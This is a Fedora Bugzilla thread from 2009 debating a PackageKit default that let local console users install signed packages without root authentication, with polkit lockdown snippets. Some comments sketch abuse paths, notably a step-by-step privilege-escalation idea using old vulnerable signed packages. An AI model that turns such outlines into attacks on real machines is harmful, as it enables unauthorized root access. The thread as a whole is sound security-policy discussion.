Bug 534047 - Active local console users get to install signed software on a machine they do not have the root password to
Summary: Active local console users get to install signed software on a machine they d...
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Fedora
Classification: Fedora
Component: PackageKit
Version: 12
Hardware: All
OS: Linux
low
high
Target Milestone: ---
Assignee: Richard Hughes
QA Contact: Fedora Extras Quality Assurance
URL: https://fedorahosted.org/fesco/ticket...
Whiteboard: Triaged
: 539742 (view as bug list)
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2009-11-10 11:05 UTC by Need Real Name
Modified: 2019-01-10 16:32 UTC (History)
97 users (show)

Fixed In Version: 0.5.4-0.4.20091029git.fc12
Doc Type: Enhancement
Doc Text:
file must end with ".pkla" and contain: [NoUserSignedInstall] Identity=unix-user:* Action=org.freedesktop.packagekit.package-install ResultAny=no ResultInactive=no ResultActive=auth_admin
Clone Of:
: 539349 (view as bug list)
Environment:
Last Closed: 2009-11-24 07:32:33 UTC
Type: ---
Embargoed:
eric: fedora_requires_release_note+


Attachments (Terms of Use)

Description Need Real Name 2009-11-10 11:05:55 UTC
The dialog that is meant to help locate and install missing packages seems to have a wrapping problem that prevents it displaying properly. Keyboard input seems to be a bit messed up too, sometimes the text is printed but the command is not receiving the input (or provides no feedback that it is)

Comment 1 Richard Hughes 2009-11-17 12:03:03 UTC
Can you please try the build here: http://koji.fedoraproject.org/koji/buildinfo?buildID=141430 -- thanks.

Comment 2 Need Real Name 2009-11-18 12:47:19 UTC
Seems to work: but why am I not getting a root password prompt?

Comment 3 Richard Hughes 2009-11-18 13:16:50 UTC
(In reply to comment #2)
> why am I not getting a root password prompt?  

PackageKit allows you to install signed content from signed repositories without a password by default. It only asks you to authenticate if anything is unsigned or the signatures are wrong.

Comment 4 Rahul Sundaram 2009-11-18 17:31:44 UTC
Richard Hughes,

It would be have useful if you had added a note to the release notes on this along with the rationale. Can you provide the precise steps to revert this?  I think we will a release notes update covering the details. Thanks.

Comment 5 Need Real Name 2009-11-18 17:48:01 UTC
Please could this be reversed, the default being that the root user gets to install software, and the users as well, if the root user wishes them to.

This is really a *major* change that is precise opposite of the way *NIX has always worked.

Comment 6 Simo Sorce 2009-11-18 18:53:09 UTC
Please set it back to the way it was in F-11.

This default is insecure and it is also hard to find out how to change it on a default install.

This is not a good policy, doesn't help anyone and is a step in the wrong direction.

Comment 7 TK009 2009-11-18 19:04:15 UTC
Please revert this change.
Setting FutureFeature
Setting Severity High

TK009
---

Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 8 Richard Hughes 2009-11-18 19:05:35 UTC
(In reply to comment #6)
> This default is insecure and it is also hard to find out how to change it on a
> default install.

It's not insecure. We've had the mechanism checked. The default policy may not
be to your taste, but this is the "desktop" spin, not the "server" spin.

> This is not a good policy, doesn't help anyone and is a step in the wrong
> direction.  

You missed the "in my opinion" line in your reply.

Comment 9 Richard Hughes 2009-11-18 19:07:45 UTC
(In reply to comment #5)
> This is really a *major* change that is precise opposite of the way *NIX has
> always worked.  

I don't particularly care how UNIX has always worked. Looking at the use-cases and the things people are trying to do this seemed the best default. Admins can trivially change the default on machines if they wish.

Richard.

Comment 10 Richard Hughes 2009-11-18 19:10:01 UTC
(In reply to comment #4)
> It would be have useful if you had added a note to the release notes on this
> along with the rationale. Can you provide the precise steps to revert this?  I
> think we will a release notes update covering the details. Thanks.  

I've publicly discussed this over 9 months ago, and it's been like this in Fedora rawhide since the very start of F12. It's not something to revert (as the change of PolicyKit to polkit-1 changed the way PackageKit worked) it's just a case of choosing the default policy.

Richard

Comment 11 Juha Tuomala 2009-11-18 19:21:05 UTC
(In reply to comment #9)
> I don't particularly care how UNIX has always worked. 

We do.

Comment 12 Simo Sorce 2009-11-18 19:34:35 UTC
(In reply to comment #9)
> (In reply to comment #5)
> > This is really a *major* change that is precise opposite of the way *NIX has
> > always worked.  
> 
> I don't particularly care how UNIX has always worked.

I do, or I'd be using Windows.

> Looking at the use-cases and the things people are trying to do this seemed the best default.

F-11 worked quite well.

> Admins can trivially change the default on machines if they wish.

Ok, please explain how to *trivially* change it then.
Where is the GUI that allows you to do that ?

Comment 13 Need Real Name 2009-11-18 19:38:16 UTC
A user should not be able to make system-wide changes without authenticating as a root user.

If an admin wishes non-root users to be able to install software, he can enable this. The default, like the selinux default, is to be secure by default.

Allowing a normal user to install software on a box from some applications (packagekit) and not others (yum and rpm and whatever replaces pirut) is inconsistent.

If this change is wanted we can add it to Fedora 13 after the proper discussion.

Comment 14 David Zeuthen 2009-11-18 19:49:23 UTC
(In reply to comment #13)
> A user should not be able to make system-wide changes without authenticating as
> a root user.

Of course he should. It's been this way for years for console users e.g. mounting storage devices.

> If an admin wishes non-root users to be able to install software, he can enable
> this. The default, like the selinux default, is to be secure by default.
> 
> Allowing a normal user to install software on a box from some applications
> (packagekit) and not others (yum and rpm and whatever replaces pirut) is
> inconsistent.
> 
> If this change is wanted we can add it to Fedora 13 after the proper
> discussion.  

There's nothing to discuss here. Your problem is that pretending asking for root authentication for *local* users in *active* sessions... when installing *trusted* software adds security is... well.. only a sign of dogma, snakeoil and ignorance when it comes to providing a secure system.

If you want, there's a way to lock this down, see 'man pklocalauthority'. I will not commment further on this bug. Have a nice day.

     David

Comment 15 Richard Hughes 2009-11-18 20:01:06 UTC
(In reply to comment #14)
> There's nothing to discuss here. Your problem is that pretending asking for
> root authentication for *local* users in *active* sessions... when installing
> *trusted* software adds security is... well.. only a sign of dogma, snakeoil
> and ignorance when it comes to providing a secure system.

My views exactly. Closing. You can use a simple pkla file if you want to change the default. Thanks.

Comment 16 Need Real Name 2009-11-18 20:23:21 UTC
Reopening.

You can close this bug when you provide the documentation to your users on how to undo this.

Comment 17 Rahul Sundaram 2009-11-18 20:30:34 UTC
This requires a release notes update and since I didn't get the answers here,
this is what has been figured out so far.  Users can get the same behaviour in
the past releases by running  

    pklalockdown --lockdown org.freedesktop.packagekit.package-install  

    OR

    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
    anything you want) and the content should be

    [NoUsersInstallAnythingWithoutPassword]
    Identity=unix-user:someone;unix-user:someone_else
    Action=org.freedesktop.packagekit.*
    ResultAny=auth_admin
    ResultInactive=auth_admin
    ResultActive=auth_admin

    ---


Thanks to Seth Vidal. Richard Hughes, please confirm that this is correct. Others subscribed, test both ways and let me know if these steps work. Thanks.

Comment 18 Rahul Sundaram 2009-11-18 20:36:55 UTC

If you want to control only the install action in the file, set

Action=org.freedesktop.packagekit.package-install

Comment 19 Rahul Sundaram 2009-11-18 20:44:29 UTC
More info at

http://fpaste.org/jU8O/

Comment 20 Rahul Sundaram 2009-11-18 20:45:28 UTC
Err, that should be http://fpaste.org/hiIg/

Comment 21 Denny Crane 2009-11-18 20:59:25 UTC
Horrible default. The previous method of asking the first time made sense. This is idiotic.

Comment 22 Adam Williamson 2009-11-18 21:52:58 UTC
nate: your rationale appears to be missing.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 23 Karsten Wade 2009-11-18 21:56:29 UTC
Release note added. If any revisions are required, please set the 
"requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

New Contents:
Users can get the same behaviour in
the past releases by running  

    pklalockdown --lockdown org.freedesktop.packagekit.package-install  

    OR

    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
    anything you want) and the content should be

    [NoUsersInstallAnythingWithoutPassword]
    Identity=unix-user:someone;unix-user:someone_else
    Action=org.freedesktop.packagekit.*
    ResultAny=auth_admin
    ResultInactive=auth_admin
    ResultActive=auth_admin

Comment 24 Need Real Name 2009-11-18 21:58:09 UTC
(In reply to comment #22)
> nate: your rationale appears to be missing.

Wrong way round: the person that changed it needs to provide the reasoning, not the person that objects to the change.

Comment 25 eric 2009-11-18 22:01:42 UTC
This is the first I'm hearing of it.  Just because it has been signed by Fedora doesn't mean that it is trusted software to the admin just that the software has made it through a few arbitrary and not-so-arbitrary requirements to get into Fedora.

This is a major change in the security posture of Fedora.

Comment 26 Rahul Sundaram 2009-11-18 22:02:54 UTC
For whoever is making changes to the release notes, add a reference to

http://skvidal.wordpress.com/2009/11/18/polkit-and-package-kit-and-changing-settings/

Thanks.

Comment 27 David Zeuthen 2009-11-18 22:06:55 UTC
Note that the pklalockdown command is gone in the next polkit 0.95-1 final release (replaced by a D-Bus method). So you want to do the /var/lib/polkit-1 route. 

(Before you complain too much about this note that palockdown command never appeared in any stable release - we've just been shipping polkit git snapshots.)

         David

Comment 28 seth vidal 2009-11-18 22:10:56 UTC
could you tell us what the dbus method will be and how we call it if someone wants to set it as such from the command line?

thanks

Comment 29 Kevin Verma 2009-11-18 22:14:58 UTC
(In reply to comment #14)
> (In reply to comment #13)
> > A user should not be able to make system-wide changes without authenticating as
> > a root user.
> 
> Of course he should. It's been this way for years for console users e.g.
> mounting storage devices.
> 

And that had still been secure enough than letting local users install Trojan horses or what not. Or than to allow every local user to install their own favorite version/variant of stripping virtual girl. no ? 

> 
> There's nothing to discuss here. Your problem is that pretending asking for
> root authentication for *local* users in *active* sessions... when installing
> *trusted* software adds security is... well.. only a sign of dogma, snakeoil
> and ignorance when it comes to providing a secure system.
> 

Lets discuss those too and put the plugs everyplace or all to-gather stop faking better security and opt win95 model. 
And make Fedora a single user spin too, sounds fun ? 

> If you want, there's a way to lock this down, see 'man pklocalauthority'. I
> will not commment further on this bug. Have a nice day.
> 

All together I think there are many novice users out in the world who are likely to fall victim of this supposed convenience  and spoils secure reputation of Linux based OS just because of poor defaults, which can't even shift the blame back on user. 

Rather we need to find smart innovative ways to educate users on the fly & quickly about the defaults which only seems hard to deal with but are meaningful and on purpose.

Comment 30 David Zeuthen 2009-11-18 22:20:25 UTC
(In reply to comment #28)
> could you tell us what the dbus method will be and how we call it if someone
> wants to set it as such from the command line?

Using dbus-send probably isn't a good idea (but if you insist check the docs for the D-Bus interface). 

Instead, just tell people to create a .pkla file - see the pklocalauthority man page for how that works including examples and so forth. From the command line it would look like

 # cat > /var/lib/polkit-1/.../myfile.pkla << EOF
 <filecontents>
 EOF

    David

Comment 31 H. Peter Anvin 2009-11-18 22:29:14 UTC
This is a catastrophically bad policy change.

Why?  Because there are some packages, even in the stock Fedora repository, that changes the way the system behaves -- consider network daemons, for example.  The unprivileged user can thus change the way the system behaves, quite possibly breaking it in the process, *and they don't have a way to repair the damage*.

Comment 32 Andrew Vandever 2009-11-18 22:41:33 UTC
Huh? All the Fedora-signed network daemon packages I've seen are off by default...the files just sit there, doing nothing, until an admin uses service and chkconfig to turn them on.

Simo, if you really care so much about keeping the status quo for *nix, why are you asking for a gui. I think that this makes sense as a default for a desktop OS, and I think it also makes sense that there is an easy way for the admin to disable it.

Quit moaning about it and disable it if you don't like it - isn't that the true *nix spirit?

Comment 34 Chad Feller 2009-11-18 22:42:34 UTC
(In reply to comment #14)

> Of course he should. It's been this way for years for console users e.g.
> mounting storage devices.
> 
This isn't even in the same zip code.  Mounting a USB drive or a CD drive isn't
any different than creating subdirectories in /tmp or in $HOME - that doesn't
affect squat.  That is a far cry from installing packages may affect the
security and/or behavior of the system.

Comment 35 Denny Crane 2009-11-18 22:46:36 UTC
(In reply to comment #24)
> (In reply to comment #22)
> > nate: your rationale appears to be missing.
> 
> Wrong way round: the person that changed it needs to provide the reasoning, not
> the person that objects to the change.  

I agree. However, I'm happy to provide some thoughts ...

First of all, this is both a SECURITY and STABILITY concern. Tack on legal concerns, too.

1) User can install whatever they want, including packages which are unstable and could even destroy the system. As just one example, I tried out yum-plugin-remove-with-leaves a while back and took it for a spin to see if it worked and was safe ... well, let's just say it "worked" too well -- it definitely was not safe. yum-plugin-remove-with-leaves literally uninstalled my entire system after a simple test in which I installed a package and its dependencies, then removed that same package and let yum-plugin-remove-with-leaves do its thing. Even though root is the only one who can remove packages, root won't necessarily know the package was installed, and thus could wipe out the system without realizing what he or she was doing when they did it.

2) If every user can install software, are we absolutely sure that they could not re-install something that's already on the system, which can sometimes overwrite config files that the administrator has already set up, thus potentially lowering security standards and causing any number of other problems?

3) If defaults don't matter, why don't we just take it a step further and give root access to everything?

4) Comparison to "mounting storage devices" is flawed -- the typical user does not need to install software regularly, never has to do so repeatedly/on a regular basis such as inserting a USB, and inserting removable storage does not affect the system as a whole, only potentially the current user's home directory, I believe.

5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make their own decisions about what software is secure, stable, and appropriate for their system. For example, if the user can install/reinstall things like mail servers, they can compromise the network by conducting illegal activities which can get IP's blacklisted. File servers, ftp, http, etc., can all open up the system to illegal activities, distribution of pirated software, illegal pornography, malware distribution networks, etc., etc. Other legal issues include peer-to-peer softwares which would allow users to easily download illegal content to equipment they don't necessarily even own. Allowing the user to install virtualization software could facilitate installing illegal copies of Windows, etc., etc.

Even for home use, this is all mostly relevant. Most homes have either children or incompetent users to worry about.

This list is far from complete!

Comment 36 lexual 2009-11-18 22:49:53 UTC
Does this also allow users to arbirtraily remove packages?

e.g. 
newbie user unticks gdm, gdm package is removed, system hosed.

Comment 37 Richard Hughes 2009-11-18 22:56:06 UTC
(In reply to comment #36)
> Does this also allow users to arbirtraily remove packages?

No, removing packages always needs the root password.

Comment 38 Ray Strode [halfline] 2009-11-18 22:56:32 UTC
I can totally see allowing signed updates automatically, but allowing any signed package install seems wrong.

The fedora universe of packages is big and not all packages in it are equal.  Anyone can get a package into fedora after going through the review process.

How long before someone does a "give-me-root" package that gives all users on the installed system NOPASSWD sudo access.

Then a user will go to a system they don't have root access to and type:

$ give-me-root

and PackageKit will notice that the give-me-root command isn't installed and helpfully install it for the user.

From that point on they have root access.

I don't disagree that admin users should be allowed to install without entering a password, but they should be admin users.  Not normal users.  I realize we suck right now and don't give the first user admin access by default, and don't have a ui for setting who is an admin user yet, but that doesn't me we should have a policy that let's any user become an admin user whenever they want.

Comment 39 Richard Hughes 2009-11-18 23:02:30 UTC
(In reply to comment #35)
> 2) If every user can install software, are we absolutely sure that they could
> not re-install something that's already on the system, which can sometimes
> overwrite config files that the administrator has already set up, thus
> potentially lowering security standards and causing any number of other
> problems?

You can't re-install without the root password.

> inserting removable storage does not
> affect the system as a whole, only potentially the current user's home
> directory, I believe.

Incorrect.

> 5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make
> their own decisions about what software is secure, stable, and appropriate for
> their system.

Sure, and the admin can easily change the defaults.

> can get IP's blacklisted. File servers, ftp, http, etc., can all open up the
> system to illegal activities, distribution of pirated software, illegal
> pornography, malware distribution networks, etc., etc. Other legal issues
> include peer-to-peer softwares which would allow users to easily download
> illegal content to equipment they don't necessarily even own. Allowing the user
> to install virtualization software could facilitate installing illegal copies
> of Windows, etc., etc.

Services require the admin passord to enable them at startup.

> Even for home use, this is all mostly relevant. Most homes have either children
> or incompetent users to worry about.

Right, but with this logic what's stopping the users compiling a binary
somewhere else, copying it onto a pendrive and then inserting it, then running
it?

Comment 40 Richard Hughes 2009-11-18 23:04:57 UTC
(In reply to comment #38)
> and PackageKit will notice that the give-me-root command isn't installed and
> helpfully install it for the user.

Sure, I understand what you're saying. It's a much easier exploit to create a malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets installed automatically.

You either trust the fedora repos or you don't. As soon as there is a malicious package in the repos it's quite easy to break things.

Comment 41 Rahul Sundaram 2009-11-18 23:12:28 UTC
(In reply to comment #40)

> 
> You either trust the fedora repos or you don't. As soon as there is a malicious
> package in the repos it's quite easy to break things.  

Not quite so black and white.  I can trust Fedora repositories to a certain extend and this default works just fine a personal desktop where I have set the permissions permanently for PackageKit to install, update or remove signed packages without a password prompt. 

I don't think it works well for a multi-user system however. When we can set during installation and otherwise, user profiles via command line and graphical utilities, we can then start tweaking policies nicely to match the profiles we target. We are not there yet. This optimization seems premature at this point and doesn't match different user needs.

Comment 42 Maxim Burgerhout 2009-11-18 23:18:04 UTC
Andrew, I cannot speak for Simo obviously, but I think he was aiming at the fact that restoring the old behaviour was called 'trivial' before, which for most users would not include creating PolicyKit files.

Anyway, the current policy seems based on the assumption that there will be no Fedora signed program in a Fedora repository *ever* that is capable of making a system less secure in whatever way. I'm not sure such an assumption will prove valid.

I do understand the idea behind this though: most users who use a Fedora desktop spin do that for their own, personal desktop, and in that case, I suppose this change doesn't do an extreme amount of damage. However, isn't the fact that this bug has a pretty high volume in comments from people directly involved with Fedora, on both sides of the argument, proof that this change wasn't discussed enough prior to release?

Also, I think it is safe to say that a lot of people that use Rawhide probably use plain yum from a terminal emulator and likely never have noticed this policy change. I have used Rawhide since somewhere in September and this is the first time I heard of this. So, because I do not feel comfortable with this seemingly sudden change, I'd rather have the F11 way being the default again, at least until F13 and there has been time to discuss this in a broader context.

Implementing PolicyKit has been a pretty big change by itself, for both users and admins. Let's slow down a bit, no too fast.

Comment 43 Denny Crane 2009-11-18 23:19:20 UTC
(In reply to comment #39)
> (In reply to comment #35)
> > 2) If every user can install software, are we absolutely sure that they could
> > not re-install something that's already on the system, which can sometimes
> > overwrite config files that the administrator has already set up, thus
> > potentially lowering security standards and causing any number of other
> > problems?
> 
> You can't re-install without the root password.
> 
> > inserting removable storage does not
> > affect the system as a whole, only potentially the current user's home
> > directory, I believe.
> 
> Incorrect.
> 
> > 5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make
> > their own decisions about what software is secure, stable, and appropriate for
> > their system.
> 
> Sure, and the admin can easily change the defaults.
> 
> > can get IP's blacklisted. File servers, ftp, http, etc., can all open up the
> > system to illegal activities, distribution of pirated software, illegal
> > pornography, malware distribution networks, etc., etc. Other legal issues
> > include peer-to-peer softwares which would allow users to easily download
> > illegal content to equipment they don't necessarily even own. Allowing the user
> > to install virtualization software could facilitate installing illegal copies
> > of Windows, etc., etc.
> 
> Services require the admin passord to enable them at startup.
> 
> > Even for home use, this is all mostly relevant. Most homes have either children
> > or incompetent users to worry about.
> 
> Right, but with this logic what's stopping the users compiling a binary
> somewhere else, copying it onto a pendrive and then inserting it, then running
> it?  

Instead of offering a rebuttal, I'll just be content with your implied agreement with the points you did not bother countering. Thanks for seeing the light!

Comment 44 Pat Kane 2009-11-18 23:23:16 UTC
(In reply to comment #40)
> (In reply to comment #38)

> You either trust the fedora repos or you don't. As soon as there is a malicious
> package in the repos it's quite easy to break things.  

I tend to trust the Fedora repos, and I will update to them without
giving the process much of a review.

However, I do _not_ want all users of my little netbook to be able
to install _any_ package without me knowing about it. 
I have setup a guest account on my F11 netbook for others to use.  I know that I 
can disable this "feature" but, why should I have to?

Pat
---

Comment 45 Arthur Pemberton 2009-11-18 23:23:46 UTC
(In reply to comment #37)
> (In reply to comment #36)
> > Does this also allow users to arbirtraily remove packages?
> 
> No, removing packages always needs the root password.  

Installing GDM, to continue this example, overrides all other greeters. Installing several GNOME packages pull in GDM as an indirect requirements.

On a KDE systems, installing a package can drag in a lot of automatically active, unwanted Gnome packages.

Comment 46 Simo Sorce 2009-11-18 23:33:25 UTC
(In reply to comment #42)
> Andrew, I cannot speak for Simo obviously, but I think he was aiming at the
> fact that restoring the old behaviour was called 'trivial' before, which for
> most users would not include creating PolicyKit files.
> 
> Anyway, the current policy seems based on the assumption that there will be no
> Fedora signed program in a Fedora repository *ever* that is capable of making a
> system less secure in whatever way. I'm not sure such an assumption will prove
> valid.
> 
> I do understand the idea behind this though: most users who use a Fedora
> desktop spin do that for their own, personal desktop, and in that case, I
> suppose this change doesn't do an extreme amount of damage. However, isn't the
> fact that this bug has a pretty high volume in comments from people directly
> involved with Fedora, on both sides of the argument, proof that this change
> wasn't discussed enough prior to release?
> 
> Also, I think it is safe to say that a lot of people that use Rawhide probably
> use plain yum from a terminal emulator and likely never have noticed this
> policy change. I have used Rawhide since somewhere in September and this is the
> first time I heard of this. So, because I do not feel comfortable with this
> seemingly sudden change, I'd rather have the F11 way being the default again,
> at least until F13 and there has been time to discuss this in a broader
> context.
> 
> Implementing PolicyKit has been a pretty big change by itself, for both users
> and admins. Let's slow down a bit, no too fast.  

Maxim,
this is exactly my point,
I do not context the fact that PackageKit can run without asking for a password, it's a cool feature.
As a matter of fact I have systems where I gave users that ability on F-11 where you were able to enable it with a simple checkbox mark the first time you run the tool.

What I contest is that to *undo* it you need to be an experienced system admin that knows how to write policykit local policies and where to drop them.

I think we can count the number of people able to do that on the tips of my fingers.

This can't be purported as *trivial*, therefore, as someone else said, this change is at least premature.

I am all fine making this a default the day it will be dead simple to change it.

Comment 47 santiago angel 2009-11-18 23:35:26 UTC
This option could be great for laptop users, netbooks users and is ok to be enabled by default.

For server or machines with multiple users this should be disabled by default.

The option must be presented in anaconda or in the firstrun welcome window or in a desktop spin enabled by default and in a server spin disabled by default.

Comment 50 Charlie Brej 2009-11-19 00:01:50 UTC
I am worried about users being able install services which we do not want
running on the network. Many of them are automatically enabled on install.
Things like telnet and ftp are easily abused. Sendmail, dhcpd and nis would be
worse but I don't think those default to enabled.

Comment 52 Erik Zeek 2009-11-19 00:16:18 UTC
Wouldn't this change lead to a potential DOS.

I tend to run with a smallish root partition and only a separate home
partition.  A user, perhaps even unknowingly, could easily install packages
until the root partition was full, using up the space that I had set aside for
/tmp and /var.

Comment 53 Warren Togami 2009-11-19 00:20:36 UTC
"you are now vulnerable to local root exploits not only in packages you
installed, but also in packages you chose not to install."

Comment 55 Andrew McNabb 2009-11-19 00:27:39 UTC
If someone wants their users to be admins and have the rights to add packages, it's easy to add them to the desktop_admin_r group.  If someone doesn't want their users to be admins, they have to create a pkla file.  It seems obvious to me that the secure option should be the default.

Now that this is posted on Slashdot, it's causing a lot of bad publicity for Fedora.  In my opinion, the sooner this gets fixed, the better.

Comment 56 Robin R. Price II 2009-11-19 00:28:14 UTC
I don't think leaving this as-is would be acceptable.   How loud does the community have to get requesting this fixed?

Comment 58 Quanah Gibson-Mount 2009-11-19 00:38:26 UTC
(In reply to comment #55)
> If someone wants their users to be admins and have the rights to add packages,
> it's easy to add them to the desktop_admin_r group.  If someone doesn't want
> their users to be admins, they have to create a pkla file.  It seems obvious to
> me that the secure option should be the default.
> 
> Now that this is posted on Slashdot, it's causing a lot of bad publicity for
> Fedora.  In my opinion, the sooner this gets fixed, the better.  

Personally, I think the bad publicity about this bug comes from the uninformed responses by RedHat employees who can't conceive why this option is a security nightmare.  It makes me certainly question how devoted to security RedHat is.

Comment 59 Jayson King 2009-11-19 00:39:42 UTC
Where are comments #33, #48, #49, #51, #54, #56 and #57?

Comment 61 Quanah Gibson-Mount 2009-11-19 00:48:48 UTC
(In reply to comment #58)
> (In reply to comment #55)
> > If someone wants their users to be admins and have the rights to add packages,
> > it's easy to add them to the desktop_admin_r group.  If someone doesn't want
> > their users to be admins, they have to create a pkla file.  It seems obvious to
> > me that the secure option should be the default.
> > 
> > Now that this is posted on Slashdot, it's causing a lot of bad publicity for
> > Fedora.  In my opinion, the sooner this gets fixed, the better.  
> 
> Personally, I think the bad publicity about this bug comes from the uninformed
> responses by RedHat employees who can't conceive why this option is a security
> nightmare.  It makes me certainly question how devoted to security RedHat is.  

Sorry, that's a bit stronger than I meant.  More specifically, reading through the mailing thread, and some of the comments in this bug by redhat employees to the concerns that people raise of valid points, looks bad publicity wise.

Comment 62 Frank Ch. Eigler 2009-11-19 00:50:25 UTC
Jayson, those are not the droids ^W comments you're looking for.

Comment 63 Felix Möller 2009-11-19 01:06:20 UTC
I really think the default should be restored.

On my system I have some self compiled packages and binary packages. I place
them in ~/bin/. This is the last element of my and everyones $PATH (see
/etc/skel/.bash_profile).

I trust that _my_ programs are executed and do what I expect them to do.

With this change somebody could install software from the repository that
silently is executed instead of my personal copy. I certainly do not like that.

I see this as a big difference to comment #39 by Richard:
> Right, but with this logic what's stopping the users compiling a binary
> somewhere else, copying it onto a pendrive and then inserting it, then 
> running it?
These users are _not_ able to insert software into _my_ $PATH.

btw: this issue has reached LWN http://lwn.net/Articles/362592/

Comment 64 Denny Crane 2009-11-19 01:14:28 UTC
(In reply to comment #55)
> If someone wants their users to be admins and have the rights to add packages,
> it's easy to add them to the desktop_admin_r group.  If someone doesn't want
> their users to be admins, they have to create a pkla file.  It seems obvious to
> me that the secure option should be the default.
> 
> Now that this is posted on Slashdot, it's causing a lot of bad publicity for
> Fedora.  In my opinion, the sooner this gets fixed, the better.  

Wow, that conversation already has 233 comments:
http://linux.slashdot.org/story/09/11/18/2039229/Fedora-12-Lets-Users-Install-Signed-Packages-Sans-Root-Privileges

Comment 65 SIGGY 2009-11-19 01:16:37 UTC
What about the issue of unprivileged users using this feature to obtain root
through the following method:

1) Dig around through old Fedora 9, 10, 11, and original 12 repos to find a signed package
that has a vulnerability allowing for local privilege escalation (there must be
one out there...)
2) Download the package to the local drive
3) Use gpk-install-local-file to install this package
4) Take advantage of vulnerability in the package to become root

Dependency issues may arise, but this looks like an attractive attack vector.

Comment 66 Ray Strode [halfline] 2009-11-19 01:24:02 UTC
(In reply to comment #40)
> (In reply to comment #38)
> > and PackageKit will notice that the give-me-root command isn't installed and
> > helpfully install it for the user.
> 
> Sure, I understand what you're saying. It's a much easier exploit to create a
> malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets
> installed automatically.
> 
> You either trust the fedora repos or you don't. As soon as there is a malicious
> package in the repos it's quite easy to break things.  

Well it's not so much a matter of trust as a matter of mismatched policies.

Right now the fedora repository is a universe of packages that don't necessarily work together.  Each spin picks the subset of packages that makes sense for that spin and installs those to work together.

Policy is to some extent encoded in packages.  Just a few examples:

- Whether a spin is branded or not depends on if the spin pulls in fedora-logos or generic-logos
- Different selinux policies are available for different spins
- What sessions are shown to the user are in config rpms

Maybe we shouldn't have a packageset where packages define policy, but that's how it works right now.

You could even imagine a spin where this give-me-root package makes sense.  Maybe not exactly as I described it in comment 38, but in some way that's effectively the same.  It's a theoretical package that is fundamentally incompatible with the default spin, but now something any local user in the default spin has the ability to turn on.

I doesn't *really* matter in practice.  Any determined local user can get root pretty easily, just by rebooting into single user mode (except in special locked down kiosk situations that shouldn't be using the default policy), but I think also it's not the right default policy.

Comment 67 Juan P. Daza P. 2009-11-19 01:37:24 UTC
This could be good "option" but not the default policy; let users to change files they are not allowed to changed trashes all the: permissions-groups philosophy.

And yes I can put a usb and install software but only in my sandbox not in /usr, /var, /lib, etc.

This is that hard for the people defending this, and stop trying to make this system look like the "worst-one".

Comment 68 Kevin Kofler 2009-11-19 01:37:54 UTC
IMHO this really needs to be changed to the policy which was used up to F11 (require root auth once, allow the user to keep it) which had been working fine (a one-time password prompt isn't a major inconvenience for single-user systems and everywhere else things are secure), why has this even been changed at all?

This has been put on FESCo's agenda for this week's meeting:
https://fedorahosted.org/fesco/ticket/277
and my vote is definitely going to go towards issueing a security update to lock this down.

Comment 69 Kevin Kofler 2009-11-19 01:37:54 UTC
Release note updated. If any revisions are required, please set the 
"requires_release_notes"  flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

Diffed Contents:
@@ -1,16 +1 @@
-Users can get the same behaviour in
+Users can get the same behaviour in
the past releases by running  

    pklalockdown --lockdown org.freedesktop.packagekit.package-install  

    OR

    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
    anything you want) and the content should be

    [NoUsersInstallAnythingWithoutPassword]
    Identity=unix-user:someone;unix-user:someone_else
    Action=org.freedesktop.packagekit.*
    ResultAny=auth_admin
    ResultInactive=auth_admin
    ResultActive=auth_admin-the past releases by running  
-
-    pklalockdown --lockdown org.freedesktop.packagekit.package-install  
-
-    OR
-
-    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
-    anything you want) and the content should be
-
-    [NoUsersInstallAnythingWithoutPassword]
-    Identity=unix-user:someone;unix-user:someone_else
-    Action=org.freedesktop.packagekit.*
-    ResultAny=auth_admin
-    ResultInactive=auth_admin
-    ResultActive=auth_admin

Comment 70 Kevin Kofler 2009-11-19 01:38:57 UTC
Huh? I didn't write comment #69! (I did write comment #68.) Looks like a Bugzilla bug.

Comment 71 Kevin Kofler 2009-11-19 01:38:58 UTC
Release note updated. If any revisions are required, please set the 
"requires_release_notes"  flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

Diffed Contents:
@@ -1 +1,16 @@
-Users can get the same behaviour in
the past releases by running  

    pklalockdown --lockdown org.freedesktop.packagekit.package-install  

    OR

    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
    anything you want) and the content should be

    [NoUsersInstallAnythingWithoutPassword]
    Identity=unix-user:someone;unix-user:someone_else
    Action=org.freedesktop.packagekit.*
    ResultAny=auth_admin
    ResultInactive=auth_admin
    ResultActive=auth_admin+Users can get the same behaviour in
+the past releases by running  
+
+    pklalockdown --lockdown org.freedesktop.packagekit.package-install  
+
+    OR
+
+    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
+    anything you want) and the content should be
+
+    [NoUsersInstallAnythingWithoutPassword]
+    Identity=unix-user:someone;unix-user:someone_else
+    Action=org.freedesktop.packagekit.*
+    ResultAny=auth_admin
+    ResultInactive=auth_admin
+    ResultActive=auth_admin

Comment 72 Garry Dolley 2009-11-19 01:45:35 UTC
Jeez guys, even *Apple* with OS X requires a password to install software.  Fedora is now the new Windows.

Comment 73 Stuart Hankins 2009-11-19 02:11:25 UTC
Since I use RHEL on some servers and Fedora on others, this change will force me to change defaults to make the Fedora servers' behavior as expected. I definitely don't want to have to do this. PLEASE consider setting this back to the "old" default, or as someone else suggested ask the user on install. That would seem to satisfy everyone with the least work to make the change happen.

Comment 74 Kevin Kofler 2009-11-19 02:14:52 UTC
We can't add anything to the installer anymore, all we can do is issue a security update which fixes the default policy.

Comment 75 Stuart Hankins 2009-11-19 02:17:03 UTC
Kevin(In reply to comment #74)
> We can't add anything to the installer anymore, all we can do is issue a
